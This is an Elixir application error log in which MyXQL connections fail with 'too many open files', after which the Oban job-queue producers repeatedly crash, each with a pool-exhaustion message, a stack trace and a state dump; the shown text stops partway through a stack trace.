[Sun Sep  6 00:51:24.325000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:26.866000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:30.018000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:31.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:51:19.240726Z], limit: 5, uuid: "40357dc5-9ae3-402f-a3d8-472448a9375d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:19.240732Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.83685>, refresh_timer: #Reference<0.2525715032.1121189889.226248>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1036ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:51:19.239616Z], limit: 50, uuid: "248a8e84-e0a4-4f0b-a51c-efa29763f9fb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:19.239622Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.83683>, refresh_timer: #Reference<0.2525715032.1068498948.83631>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:31.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:51:19.241259Z], limit: 20, uuid: "316abce3-e29a-4ae5-8729-a4a229ff4f5c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:19.241265Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.70143>, refresh_timer: #Reference<0.2525715032.1099431938.70134>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:31.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1002ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:51:19.239807Z], limit: 10, uuid: "94050af2-383d-4830-9935-404e68b3460e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:19.239812Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.83682>, refresh_timer: #Reference<0.2525715032.1068498948.83642>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1044ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:51:19.241016Z], limit: 5, uuid: "96043c82-84c2-4f0a-91af-b2006a8a0b05", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:19.241021Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.83684>, refresh_timer: #Reference<0.2525715032.1121189889.226256>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1026ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:51:19.242490Z], limit: 3, uuid: "7cef0398-9302-4814-b265-c96c4e23bad7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:19.242495Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.83686>, refresh_timer: #Reference<0.2525715032.1099431938.70142>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:31.777000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:33.155000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:34.477000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:34.537000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:38.331000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:38.410000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:42.953000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:43.031000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:43.308000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:51:44.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2001ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:51:31.239270Z], limit: 10, uuid: "063ca4bb-d91a-49c0-9b80-c2afc75a3bda", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:31.239275Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.83991>, refresh_timer: #Reference<0.2525715032.1068498948.83977>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:44.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2007ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:51:31.239934Z], limit: 3, uuid: "9e7d8ba1-b905-4df0-8029-ddf691a57600", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:31.239940Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.83995>, refresh_timer: #Reference<0.2525715032.1121189889.226467>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:44.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1809ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
